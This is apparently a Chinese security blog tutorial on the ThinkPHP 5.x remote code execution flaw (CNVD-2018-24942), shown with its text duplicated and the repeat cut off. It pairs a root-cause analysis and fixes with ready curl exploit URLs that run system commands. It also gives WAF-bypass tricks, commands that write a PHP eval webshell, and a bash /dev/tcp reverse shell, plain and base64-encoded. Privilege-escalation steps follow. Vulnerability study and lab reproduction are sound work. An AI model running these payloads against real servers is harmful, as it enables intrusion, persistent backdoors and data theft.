1. 项目概述一次对经典漏洞的深度剖析最近在整理历史漏洞案例库翻到了ThinkPHP 5.x系列那个经典的远程代码执行漏洞编号CNVD-2018-24942。这个漏洞在2018年底被公开当时影响范围极广直到今天在一些老旧系统或未及时更新的项目中依然可能遇到。它不像一些需要复杂条件组合的漏洞其触发路径清晰利用方式直接是学习PHP框架安全、理解路由解析和代码执行原理的绝佳样本。很多安全从业者的“漏洞复现”启蒙课可能就是从这个漏洞开始的。网上关于它的分析文章不少但大多停留在PoC概念验证的展示上对于漏洞产生的深层原因、框架内部的处理逻辑以及在实际渗透测试中可能遇到的变种和阻碍讨论得还不够深入。我打算结合自己当年分析源码和搭建环境复现的经历把这个漏洞从头到尾掰开揉碎了讲清楚不仅告诉你“怎么打”更要讲明白“为什么能这么打”以及在实际场景中如何灵活运用和防御。简单来说这个漏洞允许攻击者通过构造一个特殊的HTTP请求在目标ThinkPHP 5.0.23及之前版本5.x系列部分版本的服务器上执行任意PHP代码。其核心问题出在框架的路由解析机制没有对控制器名进行严格过滤导致攻击者可以将恶意代码“注入”到控制器名的解析过程中最终被eval或类似函数执行。这不仅仅是ThinkPHP的问题它揭示了一类在MVC框架设计中常见的风险模式。无论你是正在学习Web安全的初学者还是想巩固漏洞原理的进阶者或是负责维护ThinkPHP项目的开发者理解这个漏洞都大有裨益。接下来我会从环境搭建、原理逐行分析、多种利用方式实战到修复方案带你完整走一遍。2. 漏洞原理深度解析路由解析的“信任”危机要理解CNVD-2018-24942我们必须深入ThinkPHP 5.x的路由机制。ThinkPHP提供了多种路由模式其中“兼容模式”和“普通模式”是导致漏洞的关键。在默认配置下如果未定义明确的路由规则框架会尝试解析URL中的路径信息将其映射到对应的控制器Controller和方法Action。2.1 漏洞触发路径追踪漏洞的入口点在于应用的路由解析环节。以ThinkPHP 5.0.23为例我们跟踪一下一个典型请求的处理流程请求入口所有请求通过public/index.php进入由think\App类进行调度。路由检测App::routeCheck()方法会检测路由。如果未匹配到预定义的路由则进入默认的路由解析逻辑。路径信息解析Route::parseUrl()方法负责解析URL。假设我们访问的URL是http://target.com/index.php?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1。这里的s参数是ThinkPHP用于传递路径信息的变量兼容模式下的典型特征。解析后得到的路径信息是/index/\think\app/invokefunction。控制器名拼接框架会将路径信息按/分割并尝试将其转换为控制器类名。关键步骤发生在将URL中的模块、控制器部分转换为类名的过程中。在特定条件下例如当控制器名中包含命名空间分隔符\且开启了app_controller_auto_search或相关配置时框架的类名自动加载机制可能会被误导。危险的函数调用在PoC中攻击者直接指定了一个内置类\think\App及其方法invokefunction。这个方法是框架内部用于调用函数的一个工具方法。通过传递参数functioncall_user_func_array和vars[0]phpinfovars[1][]1最终构造出call_user_func_array(phpinfo, [1])这样的代码执行链。问题的核心在于框架在解析用户输入的URL路径并将其转换为可执行的控制器类和方法调用时过度信任了用户输入没有对控制器名进行有效的安全过滤和合法性校验导致用户可以通过注入命名空间、类名、方法名的方式跳转到框架内部本不应被直接访问的类和方法进而利用这些内部方法的功能如invokefunction来执行任意代码。2.2 关键代码片段分析让我们聚焦于最关键的利用点。在PoC中s参数的值为/index/\think\app/invokefunction。这里的\think\app并不是一个合法的控制器目录但它是一个完整的类名包含全局命名空间前缀\。ThinkPHP的路由解析逻辑中有一段代码用于将URL路径转换为类名// 简化的逻辑示意 $controller str_replace(‘.’, ‘\\’, ucfirst($controllerName)); $class ‘app\\’ . $module . ‘\\controller\\’ . $controller;当攻击者传入\think\app时由于它已经以反斜杠开头在某些解析分支下可能会被直接当作完整的类名使用绕过了基于模块和控制器目录的拼接过程。随后框架通过自动加载机制找到了内置的think\App类注意大小写PHP在Linux下类名大小写敏感但Windows下不敏感这也是一个影响因素。think\App::invokefunction方法内部大致如下public static function invokefunction($function, $vars []) { // ... 一些检查 ... return call_user_func_array($function, $vars); }这个方法本意是供框架内部在特定场景下调用函数或可调用对象使用的。但因为它是一个public静态方法且通过路由可访问就成为了一个危险的“跳板”。攻击者通过参数完全控制了$function和$vars从而实现了任意函数调用。将$function设置为call_user_func_array再通过vars传递phpinfo和参数就构成了一个嵌套的函数调用最终执行了phpinfo()。注意实际漏洞利用链可能涉及多个版本和不同的入口点例如通过\think\Container类。上述分析是最典型和常见的一种。不同小版本间代码可能有细微差别但核心思想一致用户输入控制了类/方法/函数的调用过程。2.3 漏洞影响范围与变种这个漏洞主要影响ThinkPHP 5.0.x系列和5.1.x系列的部分版本5.0.23及以下5.1.31以下版本存在类似问题。根据利用的类和方法不同PoC也有多种形式经典PoC利用\think\app/invokefunction。替代PoC利用\think\Container类的invokeClass或make方法通过反射来实例化任意类并执行其方法。命令执行PoC将phpinfo替换为system、shell_exec等函数并传递命令参数如functioncall_user_func_arrayvars[0]systemvars[1]id即可执行系统命令。这些变种都围绕着同一个核心利用框架内部公开的、具有动态代码执行能力的方法并将用户输入作为其参数。在复现和研究时可以尝试这些不同的Payload以加深对漏洞链的理解。3. 实战复现环境搭建与验证“纸上得来终觉浅绝知此事要躬行。” 要真正理解一个漏洞亲手复现是必不可少的环节。下面我将详细说明如何搭建一个安全的、用于学习的漏洞复现环境。3.1 环境准备与配置我们使用Docker来搭建环境这是最安全、最便捷的方式可以避免对宿主机造成影响。步骤1创建项目目录并编写Dockerfile在你的工作目录下创建一个新目录例如thinkphp-5.0.23-rce。进入该目录创建Dockerfile文件。# Dockerfile FROM php:5.6-apache # 安装必要的PHP扩展和工具 RUN apt-get update apt-get install -y \ libfreetype6-dev \ libjpeg62-turbo-dev \ libpng-dev \ libzip-dev \ zip \ unzip \ docker-php-ext-configure gd --with-freetype-dir/usr/include/ --with-jpeg-dir/usr/include/ \ docker-php-ext-install -j$(nproc) gd zip pdo_mysql mysqli # 启用Apache的rewrite模块 RUN a2enmod rewrite # 设置工作目录 WORKDIR /var/www/html # 下载并解压ThinkPHP 5.0.23 RUN curl -L -o thinkphp.tar.gz https://github.com/top-think/framework/archive/v5.0.23.tar.gz \ mkdir thinkphp \ tar -xzf thinkphp.tar.gz -C thinkphp --strip-components1 \ rm thinkphp.tar.gz # 或者更常见的做法是下载完整应用骨架。这里我们使用一个包含漏洞版本的预构建测试环境。 # 实际上我们可以直接使用 vulhub 的镜像。但为了理解我们手动模拟。 # 我们直接复制一个简单的入口文件。 RUN echo “?php define(‘APP_PATH’, __DIR__ . ‘/application/’); require __DIR__ . ‘/thinkphp/start.php’;” index.php # 复制一个最简单的应用配置文件可选 RUN mkdir -p application/config RUN echo “?php return [‘app_debug’ true, ‘app_trace’ false];” application/config/app.php # 修改目录权限 RUN chown -R www-data:www-data /var/www/html步骤2使用现成靶场推荐对于初学者手动构建可能遇到各种依赖问题。我强烈推荐使用vulhub靶场它已经为我们准备好了完美的环境。# 1. 克隆 vulhub 仓库如果尚未拥有 git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入 ThinkPHP 5.0.23 RCE 漏洞目录 cd thinkphp/5.0.23-rce # 3. 启动靶场环境 docker-compose up -d等待片刻Docker会自动拉取镜像并启动容器。访问http://your-host-ip:8080应该能看到ThinkPHP的默认欢迎页面或者一个简单的应用页面。实操心得使用vulhub等集成靶场是漏洞学习初期最高效的方式。它避免了环境配置的繁琐让你能聚焦于漏洞本身。务必在隔离的虚拟机或云服务器中进行实验切勿在公网或生产环境相关网络内进行。3.2 漏洞验证与利用环境运行后我们开始验证漏洞是否存在。方法一使用经典PoC进行验证我们使用curl命令或浏览器插件如HackBar来发送Payload。# 使用curl发送GET请求验证漏洞 curl “http://your-host-ip:8080/index.php?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1”如果漏洞存在响应体中会返回完整的phpinfo()页面信息包含PHP配置、环境变量等。方法二执行系统命令将PoC中的函数替换为命令执行函数。# 执行 whoami 命令 curl “http://your-host-ip:8080/index.php?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1]whoami” # 或者使用反引号shell_exec需要查看页面源码或输出到文件 curl “http://your-host-ip:8080/index.php?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]shell_execvars[1]id” -o response.html cat response.html方法三利用\think\Container的变种curl “http://your-host-ip:8080/index.php?sindex/\think\Container/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1”注意事项URL编码在实际渗透测试中空格、管道符|、重定向符号等在命令中需要使用URL编码如空格为%20或。参数传递vars参数是一个数组。对于需要多个参数的函数需要构造多层数组例如vars[0]systemvars[1][]lsvars[1][]-la对应system(‘ls’, ‘-la’)但system函数通常只接受一个字符串命令。更常见的做法是将整个命令作为一个字符串传递vars[1]ls -la /。输出获取有些命令执行函数如system会直接输出而shell_exec则返回输出字符串需要借助echo或写入文件来查看。可以构造如vars[1]whoami /tmp/test.txt的命令然后尝试读取该文件如果web用户有权限。权限限制Web服务器进程通常是www-data或nobody用户权限较低可能无法执行某些命令或访问某些目录。3.3 编写自动化检测脚本手动测试效率低我们可以用Python写一个简单的检测脚本。#!/usr/bin/env python3 import requests import sys def check_thinkphp_rce(url): 检测目标是否存在ThinkPHP 5.0.23 RCE漏洞。 payloads [ (‘/index.php?s/index/\\think\\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1’, ‘PHP Version’), (‘/index.php?s/index/\\think\\Container/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1’, ‘PHP Version’), ] for payload, success_keyword in payloads: try: target_url url.rstrip(‘/’) payload # 注意这里对反斜杠进行了处理实际请求时需要保留。 # 在requests中直接拼接即可它会自动处理。 resp requests.get(target_url, timeout10) if success_keyword in resp.text: print(f‘[] 漏洞存在Payload: {payload}’) print(f‘[*] 响应长度: {len(resp.text)}’) # 可选截取部分响应内容预览 # print(resp.text[:500]) return True except requests.exceptions.RequestException as e: print(f‘[-] 请求失败: {e}’) continue print(‘[-] 未发现漏洞’) return False if __name__ ‘__main__’: if len(sys.argv) ! 2: print(f‘用法: {sys.argv[0]} 目标URL’) print(f‘示例: {sys.argv[0]} http://192.168.1.100:8080’) sys.exit(1) target sys.argv[1] check_thinkphp_rce(target)这个脚本尝试两个常见的Payload并在响应中查找PHP Version关键字来判断漏洞是否存在。在实际使用中可以增加更多的Payload和更精确的指纹识别。4. 漏洞挖掘与利用的进阶技巧掌握了基础复现后我们来看看在实际渗透测试或源码审计中如何更深入地挖掘和利用这类漏洞。4.1 源码审计寻找类似的“危险方法”ThinkPHP这个漏洞的本质是找到了一个“跳板”方法invokefunction。在审计其他PHP框架或CMS时可以关注以下特征的方法静态公共方法容易被直接调用。方法名包含invoke、call、eval、create_function等关键词。方法参数中直接接收函数名、类名、代码字符串。方法内部使用了call_user_func、call_user_func_array、eval、assertPHP 7.1等函数。审计流程可以这样进行全局搜索在项目源码中使用grep -r “call_user_func” .或grep -r “eval(” .等命令定位危险函数调用点。回溯参数找到调用点后向上回溯参数来源检查是否用户可控。分析调用链如果用户输入经过若干层处理和传递最终到达危险函数那么就需要分析整个传递和处理过程是否有过滤不严的情况。构造利用链确认用户可控后思考如何构造输入使得传递到危险函数时能形成有效的代码执行。4.2 绕过可能的WAF或过滤在实际目标上可能会遇到Web应用防火墙WAF或应用自身的一些简单过滤。针对这个漏洞可以尝试一些绕过技巧大小写混淆PHP在Windows环境下对类名、函数名大小写不敏感。可以尝试\Think\App、\THINK\APP等。URL编码对Payload中的特殊字符进行双重甚至多重URL编码。例如将/编码为%2f再将%编码为%25变成%252f。某些WAF可能只解码一次。空格填充在参数名或值中添加多余的空格或%20、制表符%09、换行符%0a等例如vars[0] phpinfo。参数污染同时提交多个同名参数如vars[0]systemvars[0]phpinfo不同后端处理方式可能不同可能导致WAF解析差异。使用其他入口点除了invokefunction研究是否有其他类的方法存在类似问题例如通过反射类ReflectionClass或ReflectionFunction进行利用。重要提醒这些技巧仅用于安全研究和授权测试帮助理解防御机制的局限性。在未经授权的测试中使用是违法的。4.3 漏洞利用的实战场景在真实的渗透测试中拿到RCE权限只是第一步。接下来需要考虑如何维持访问、提升权限、横向移动等。写入Webshell这是最直接的方式。利用漏洞执行命令向Web目录写入一个PHP文件。# 使用echo写入一句话木马 curl “http://target.com/...functioncall_user_func_arrayvars[0]systemvars[1]echo ‘?php eval(\$_POST[cmd]);?’ shell.php” # 注意需要根据目标环境处理引号和转义。更可靠的方式是使用php代码配合file_put_contents curl “http://target.com/...functioncall_user_func_arrayvars[0]assertvars[1]file_put_contents(‘shell.php’, ‘?php eval(\$_POST[a]);?’)”写入后即可使用中国菜刀、蚁剑等工具连接。反弹Shell如果目标服务器能出网反弹一个Shell到你的公网服务器是更好的选择。# 在你的服务器上监听端口 nc -lvnp 4444 # 在目标上执行反弹命令需要目标有nc、bash、python等 curl “http://target.com/...vars[1]bash -c ‘bash -i /dev/tcp/your-ip/4444 01’”注意命令的编码和可用性。信息收集执行whoami、id、uname -a、cat /etc/passwd、ps aux、ifconfig、netstat -antp等命令收集系统、用户、网络、进程信息。权限提升检查sudo -l、SUID文件find / -perm -us -type f 2/dev/null、内核漏洞uname -a、计划任务、数据库凭证等尝试提权。5. 漏洞修复方案与安全加固建议对于开发者和管理员来说了解漏洞原理后更重要的是如何修复和防范。5.1 官方修复方案ThinkPHP官方在后续版本中修复了此漏洞。修复的核心思路包括严格路由过滤在路由解析阶段对控制器名、操作名进行了严格的合法性校验禁止输入中包含\、.等特殊字符。移除或保护危险方法对App::invokefunction等内部方法增加了访问控制或将其改为protected/private方法防止通过URL直接访问。改进自动加载优化类名自动加载逻辑避免将用户输入直接拼接为类名进行加载。最直接有效的修复方法是升级ThinkPHP框架到安全版本。ThinkPHP 5.0.x 用户应升级至5.0.24或更高版本。ThinkPHP 5.1.x 用户应升级至5.1.31或更高版本。建议直接升级到最新的ThinkPHP 6.x或8.x版本这些版本在架构和安全性上有了更大提升。升级前请务必仔细阅读官方升级指南并进行充分的测试因为大版本间可能存在不兼容的改动。5.2 临时缓解措施如果因种种原因无法立即升级可以考虑以下临时加固方案应用层过滤在应用入口文件public/index.php或全局中间件中对请求参数进行过滤检查s、c、a等路由参数中是否包含可疑字符如\、..、think\、invokefunction等一旦发现则直接拒绝请求。// 在index.php中增加简单过滤 if (isset($_GET[‘s’]) stripos($_GET[‘s’], ‘think\\’) ! false) { die(‘Access Denied’); }注意这种方法可能被绕过且需要了解所有可能的攻击向量。禁用危险函数在php.ini中通过disable_functions指令禁用不必要的危险函数如system、exec、passthru、shell_exec、proc_open、eval、assert等。这可以阻止攻击者执行系统命令但无法阻止攻击者利用漏洞调用其他危险函数或进行其他操作。disable_functions system,exec,passthru,shell_exec,proc_open,popen,eval,assert配置Web服务器在Nginx或Apache配置中添加规则过滤异常的URL请求。# Nginx 示例阻止包含特定模式的请求 location ~* “(think\\|invokefunction)” { deny all; return 403; }部署WAF部署专业的Web应用防火墙可以拦截已知的攻击Payload。5.3 长期安全开发规范除了修复特定漏洞建立良好的安全开发习惯更重要最小权限原则Web服务器进程如php-fpm应以低权限用户如www-data运行并限制其文件系统访问权限。输入验证与过滤对所有用户输入GET、POST、COOKIE、HEADER进行严格的验证和过滤遵循“白名单”原则只允许预期的字符和格式。避免动态代码执行尽量避免使用eval()、assert()、create_function()以及直接动态包含用户可控文件如include($_GET[‘page’])。如果必须使用要进行极其严格的过滤。安全配置框架使用框架时关闭调试模式app_debug、应用Traceapp_trace等生产环境不需要的功能。这些功能可能泄露敏感信息。依赖管理使用Composer等工具管理依赖并定期更新第三方库到安全版本。关注安全公告如CVE、CNVD。代码审计与渗透测试在项目上线前和定期进行代码安全审计和渗透测试主动发现潜在漏洞。6. 常见问题排查与复现踩坑记录在复现和分析这个漏洞的过程中我遇到过不少问题。这里总结一下希望能帮你避开这些坑。6.1 环境搭建问题问题现象可能原因解决方案访问靶场IP:8080无响应Docker容器未成功启动或端口映射错误运行docker-compose ps查看容器状态。运行docker-compose logs查看日志。检查宿主机防火墙是否放行了8080端口。页面显示“控制器不存在”或404靶场应用路由配置问题或ThinkPHP未正确安装确认访问的URL路径是否正确。检查vulhub靶场目录下的README确认正确的访问路径。如果是手动搭建检查index.php和ThinkPHP核心库路径是否正确。执行PoC无回显或返回空白页PHP配置禁用了错误显示phpinfo被禁用函数被禁用检查php.ini中display_errors是否设置为On。尝试执行echo “test”;或phpversion();等简单函数测试。查看Docker容器中PHP的disable_functions配置。命令执行成功但无输出system等函数输出被缓冲或未捕获Web用户无权限尝试将命令输出重定向到Web目录下的文件如vars[1]whoami /var/www/html/out.txt然后访问该文件。使用shell_exec并配合echo输出vars[0]echovars[1][]$(whoami)。6.2 漏洞利用问题问题现象可能原因解决方案使用system执行ls等命令成功但执行/bin/bash反弹Shell失败Web用户权限不足无法创建网络连接或/bin/bash不存在尝试使用/bin/sh。检查目标防火墙出站规则。尝试使用其他反弹Shell方式如Python、Perl、PHP。先测试nc -zv your-ip 4444看目标是否能连接到你的服务器。写入Webshell失败提示权限拒绝Web目录不可写或open_basedir限制尝试写入到/tmp目录。使用find / -name “*.php” -type f 2/dev/null寻找已有可写目录。检查php.ini中的open_basedir设置。某些Payload无效但其他有效目标ThinkPHP版本或补丁情况不同收集更多关于目标的信息如HTTP响应头中的X-Powered-By、报错信息等精确判断版本。尝试使用不同变种的Payload如使用\think\Container。6.3 工具使用与调试技巧使用Burp Suite/Proxy将浏览器或curl的流量代理到Burp Suite可以方便地查看原始请求和响应修改Payload进行重放测试。开启PHP错误日志在Docker容器内修改php.ini设置log_errors On和error_log /var/log/php_errors.log然后重启PHP服务。这能帮助你看清代码执行过程中的错误对于调试复杂Payload非常有用。分步测试不要一开始就使用复杂的反弹Shell命令。先从简单的phpinfo()、echo ‘test’开始确认漏洞可用。然后测试命令执行whoami、id。再测试文件操作touch /tmp/test。最后再尝试写入Webshell或反弹Shell。编码问题在构造包含空格、引号、重定向符的命令时要注意URL编码。在Burp Suite中可以使用CtrlU进行URL编码/解码。对于复杂的命令可以先用Base64编码然后在目标端解码执行。# 本地编码命令 echo -n “bash -i /dev/tcp/10.0.0.1/4444 01” | base64 # 得到YmFzaCAtaSAJiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDAJjEK # Payload中执行 vars[1]echo YmFzaCAtaSAJiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDAJjEK | base64 -d | bash这个漏洞虽然已经过去多年但它像一面镜子映照出Web开发中“信任用户输入”所带来的巨大风险。每一次漏洞复现不仅是为了掌握一个攻击技巧更是为了从防御者的角度深刻理解安全编码的每一个细节。在搭建环境、跟踪代码、构造Payload、解决问题的过程中你对PHP、对MVC框架、对网络协议的理解都会加深一层。
ThinkPHP 5.x远程代码执行漏洞深度剖析与实战复现
发布时间:2026/6/24 11:11:37
1. 项目概述一次对经典漏洞的深度剖析最近在整理历史漏洞案例库翻到了ThinkPHP 5.x系列那个经典的远程代码执行漏洞编号CNVD-2018-24942。这个漏洞在2018年底被公开当时影响范围极广直到今天在一些老旧系统或未及时更新的项目中依然可能遇到。它不像一些需要复杂条件组合的漏洞其触发路径清晰利用方式直接是学习PHP框架安全、理解路由解析和代码执行原理的绝佳样本。很多安全从业者的“漏洞复现”启蒙课可能就是从这个漏洞开始的。网上关于它的分析文章不少但大多停留在PoC概念验证的展示上对于漏洞产生的深层原因、框架内部的处理逻辑以及在实际渗透测试中可能遇到的变种和阻碍讨论得还不够深入。我打算结合自己当年分析源码和搭建环境复现的经历把这个漏洞从头到尾掰开揉碎了讲清楚不仅告诉你“怎么打”更要讲明白“为什么能这么打”以及在实际场景中如何灵活运用和防御。简单来说这个漏洞允许攻击者通过构造一个特殊的HTTP请求在目标ThinkPHP 5.0.23及之前版本5.x系列部分版本的服务器上执行任意PHP代码。其核心问题出在框架的路由解析机制没有对控制器名进行严格过滤导致攻击者可以将恶意代码“注入”到控制器名的解析过程中最终被eval或类似函数执行。这不仅仅是ThinkPHP的问题它揭示了一类在MVC框架设计中常见的风险模式。无论你是正在学习Web安全的初学者还是想巩固漏洞原理的进阶者或是负责维护ThinkPHP项目的开发者理解这个漏洞都大有裨益。接下来我会从环境搭建、原理逐行分析、多种利用方式实战到修复方案带你完整走一遍。2. 漏洞原理深度解析路由解析的“信任”危机要理解CNVD-2018-24942我们必须深入ThinkPHP 5.x的路由机制。ThinkPHP提供了多种路由模式其中“兼容模式”和“普通模式”是导致漏洞的关键。在默认配置下如果未定义明确的路由规则框架会尝试解析URL中的路径信息将其映射到对应的控制器Controller和方法Action。2.1 漏洞触发路径追踪漏洞的入口点在于应用的路由解析环节。以ThinkPHP 5.0.23为例我们跟踪一下一个典型请求的处理流程请求入口所有请求通过public/index.php进入由think\App类进行调度。路由检测App::routeCheck()方法会检测路由。如果未匹配到预定义的路由则进入默认的路由解析逻辑。路径信息解析Route::parseUrl()方法负责解析URL。假设我们访问的URL是http://target.com/index.php?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1。这里的s参数是ThinkPHP用于传递路径信息的变量兼容模式下的典型特征。解析后得到的路径信息是/index/\think\app/invokefunction。控制器名拼接框架会将路径信息按/分割并尝试将其转换为控制器类名。关键步骤发生在将URL中的模块、控制器部分转换为类名的过程中。在特定条件下例如当控制器名中包含命名空间分隔符\且开启了app_controller_auto_search或相关配置时框架的类名自动加载机制可能会被误导。危险的函数调用在PoC中攻击者直接指定了一个内置类\think\App及其方法invokefunction。这个方法是框架内部用于调用函数的一个工具方法。通过传递参数functioncall_user_func_array和vars[0]phpinfovars[1][]1最终构造出call_user_func_array(phpinfo, [1])这样的代码执行链。问题的核心在于框架在解析用户输入的URL路径并将其转换为可执行的控制器类和方法调用时过度信任了用户输入没有对控制器名进行有效的安全过滤和合法性校验导致用户可以通过注入命名空间、类名、方法名的方式跳转到框架内部本不应被直接访问的类和方法进而利用这些内部方法的功能如invokefunction来执行任意代码。2.2 关键代码片段分析让我们聚焦于最关键的利用点。在PoC中s参数的值为/index/\think\app/invokefunction。这里的\think\app并不是一个合法的控制器目录但它是一个完整的类名包含全局命名空间前缀\。ThinkPHP的路由解析逻辑中有一段代码用于将URL路径转换为类名// 简化的逻辑示意 $controller str_replace(‘.’, ‘\\’, ucfirst($controllerName)); $class ‘app\\’ . $module . ‘\\controller\\’ . $controller;当攻击者传入\think\app时由于它已经以反斜杠开头在某些解析分支下可能会被直接当作完整的类名使用绕过了基于模块和控制器目录的拼接过程。随后框架通过自动加载机制找到了内置的think\App类注意大小写PHP在Linux下类名大小写敏感但Windows下不敏感这也是一个影响因素。think\App::invokefunction方法内部大致如下public static function invokefunction($function, $vars []) { // ... 一些检查 ... return call_user_func_array($function, $vars); }这个方法本意是供框架内部在特定场景下调用函数或可调用对象使用的。但因为它是一个public静态方法且通过路由可访问就成为了一个危险的“跳板”。攻击者通过参数完全控制了$function和$vars从而实现了任意函数调用。将$function设置为call_user_func_array再通过vars传递phpinfo和参数就构成了一个嵌套的函数调用最终执行了phpinfo()。注意实际漏洞利用链可能涉及多个版本和不同的入口点例如通过\think\Container类。上述分析是最典型和常见的一种。不同小版本间代码可能有细微差别但核心思想一致用户输入控制了类/方法/函数的调用过程。2.3 漏洞影响范围与变种这个漏洞主要影响ThinkPHP 5.0.x系列和5.1.x系列的部分版本5.0.23及以下5.1.31以下版本存在类似问题。根据利用的类和方法不同PoC也有多种形式经典PoC利用\think\app/invokefunction。替代PoC利用\think\Container类的invokeClass或make方法通过反射来实例化任意类并执行其方法。命令执行PoC将phpinfo替换为system、shell_exec等函数并传递命令参数如functioncall_user_func_arrayvars[0]systemvars[1]id即可执行系统命令。这些变种都围绕着同一个核心利用框架内部公开的、具有动态代码执行能力的方法并将用户输入作为其参数。在复现和研究时可以尝试这些不同的Payload以加深对漏洞链的理解。3. 实战复现环境搭建与验证“纸上得来终觉浅绝知此事要躬行。” 要真正理解一个漏洞亲手复现是必不可少的环节。下面我将详细说明如何搭建一个安全的、用于学习的漏洞复现环境。3.1 环境准备与配置我们使用Docker来搭建环境这是最安全、最便捷的方式可以避免对宿主机造成影响。步骤1创建项目目录并编写Dockerfile在你的工作目录下创建一个新目录例如thinkphp-5.0.23-rce。进入该目录创建Dockerfile文件。# Dockerfile FROM php:5.6-apache # 安装必要的PHP扩展和工具 RUN apt-get update apt-get install -y \ libfreetype6-dev \ libjpeg62-turbo-dev \ libpng-dev \ libzip-dev \ zip \ unzip \ docker-php-ext-configure gd --with-freetype-dir/usr/include/ --with-jpeg-dir/usr/include/ \ docker-php-ext-install -j$(nproc) gd zip pdo_mysql mysqli # 启用Apache的rewrite模块 RUN a2enmod rewrite # 设置工作目录 WORKDIR /var/www/html # 下载并解压ThinkPHP 5.0.23 RUN curl -L -o thinkphp.tar.gz https://github.com/top-think/framework/archive/v5.0.23.tar.gz \ mkdir thinkphp \ tar -xzf thinkphp.tar.gz -C thinkphp --strip-components1 \ rm thinkphp.tar.gz # 或者更常见的做法是下载完整应用骨架。这里我们使用一个包含漏洞版本的预构建测试环境。 # 实际上我们可以直接使用 vulhub 的镜像。但为了理解我们手动模拟。 # 我们直接复制一个简单的入口文件。 RUN echo “?php define(‘APP_PATH’, __DIR__ . ‘/application/’); require __DIR__ . ‘/thinkphp/start.php’;” index.php # 复制一个最简单的应用配置文件可选 RUN mkdir -p application/config RUN echo “?php return [‘app_debug’ true, ‘app_trace’ false];” application/config/app.php # 修改目录权限 RUN chown -R www-data:www-data /var/www/html步骤2使用现成靶场推荐对于初学者手动构建可能遇到各种依赖问题。我强烈推荐使用vulhub靶场它已经为我们准备好了完美的环境。# 1. 克隆 vulhub 仓库如果尚未拥有 git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入 ThinkPHP 5.0.23 RCE 漏洞目录 cd thinkphp/5.0.23-rce # 3. 启动靶场环境 docker-compose up -d等待片刻Docker会自动拉取镜像并启动容器。访问http://your-host-ip:8080应该能看到ThinkPHP的默认欢迎页面或者一个简单的应用页面。实操心得使用vulhub等集成靶场是漏洞学习初期最高效的方式。它避免了环境配置的繁琐让你能聚焦于漏洞本身。务必在隔离的虚拟机或云服务器中进行实验切勿在公网或生产环境相关网络内进行。3.2 漏洞验证与利用环境运行后我们开始验证漏洞是否存在。方法一使用经典PoC进行验证我们使用curl命令或浏览器插件如HackBar来发送Payload。# 使用curl发送GET请求验证漏洞 curl “http://your-host-ip:8080/index.php?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1”如果漏洞存在响应体中会返回完整的phpinfo()页面信息包含PHP配置、环境变量等。方法二执行系统命令将PoC中的函数替换为命令执行函数。# 执行 whoami 命令 curl “http://your-host-ip:8080/index.php?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1]whoami” # 或者使用反引号shell_exec需要查看页面源码或输出到文件 curl “http://your-host-ip:8080/index.php?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]shell_execvars[1]id” -o response.html cat response.html方法三利用\think\Container的变种curl “http://your-host-ip:8080/index.php?sindex/\think\Container/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1”注意事项URL编码在实际渗透测试中空格、管道符|、重定向符号等在命令中需要使用URL编码如空格为%20或。参数传递vars参数是一个数组。对于需要多个参数的函数需要构造多层数组例如vars[0]systemvars[1][]lsvars[1][]-la对应system(‘ls’, ‘-la’)但system函数通常只接受一个字符串命令。更常见的做法是将整个命令作为一个字符串传递vars[1]ls -la /。输出获取有些命令执行函数如system会直接输出而shell_exec则返回输出字符串需要借助echo或写入文件来查看。可以构造如vars[1]whoami /tmp/test.txt的命令然后尝试读取该文件如果web用户有权限。权限限制Web服务器进程通常是www-data或nobody用户权限较低可能无法执行某些命令或访问某些目录。3.3 编写自动化检测脚本手动测试效率低我们可以用Python写一个简单的检测脚本。#!/usr/bin/env python3 import requests import sys def check_thinkphp_rce(url): 检测目标是否存在ThinkPHP 5.0.23 RCE漏洞。 payloads [ (‘/index.php?s/index/\\think\\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1’, ‘PHP Version’), (‘/index.php?s/index/\\think\\Container/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1’, ‘PHP Version’), ] for payload, success_keyword in payloads: try: target_url url.rstrip(‘/’) payload # 注意这里对反斜杠进行了处理实际请求时需要保留。 # 在requests中直接拼接即可它会自动处理。 resp requests.get(target_url, timeout10) if success_keyword in resp.text: print(f‘[] 漏洞存在Payload: {payload}’) print(f‘[*] 响应长度: {len(resp.text)}’) # 可选截取部分响应内容预览 # print(resp.text[:500]) return True except requests.exceptions.RequestException as e: print(f‘[-] 请求失败: {e}’) continue print(‘[-] 未发现漏洞’) return False if __name__ ‘__main__’: if len(sys.argv) ! 2: print(f‘用法: {sys.argv[0]} 目标URL’) print(f‘示例: {sys.argv[0]} http://192.168.1.100:8080’) sys.exit(1) target sys.argv[1] check_thinkphp_rce(target)这个脚本尝试两个常见的Payload并在响应中查找PHP Version关键字来判断漏洞是否存在。在实际使用中可以增加更多的Payload和更精确的指纹识别。4. 漏洞挖掘与利用的进阶技巧掌握了基础复现后我们来看看在实际渗透测试或源码审计中如何更深入地挖掘和利用这类漏洞。4.1 源码审计寻找类似的“危险方法”ThinkPHP这个漏洞的本质是找到了一个“跳板”方法invokefunction。在审计其他PHP框架或CMS时可以关注以下特征的方法静态公共方法容易被直接调用。方法名包含invoke、call、eval、create_function等关键词。方法参数中直接接收函数名、类名、代码字符串。方法内部使用了call_user_func、call_user_func_array、eval、assertPHP 7.1等函数。审计流程可以这样进行全局搜索在项目源码中使用grep -r “call_user_func” .或grep -r “eval(” 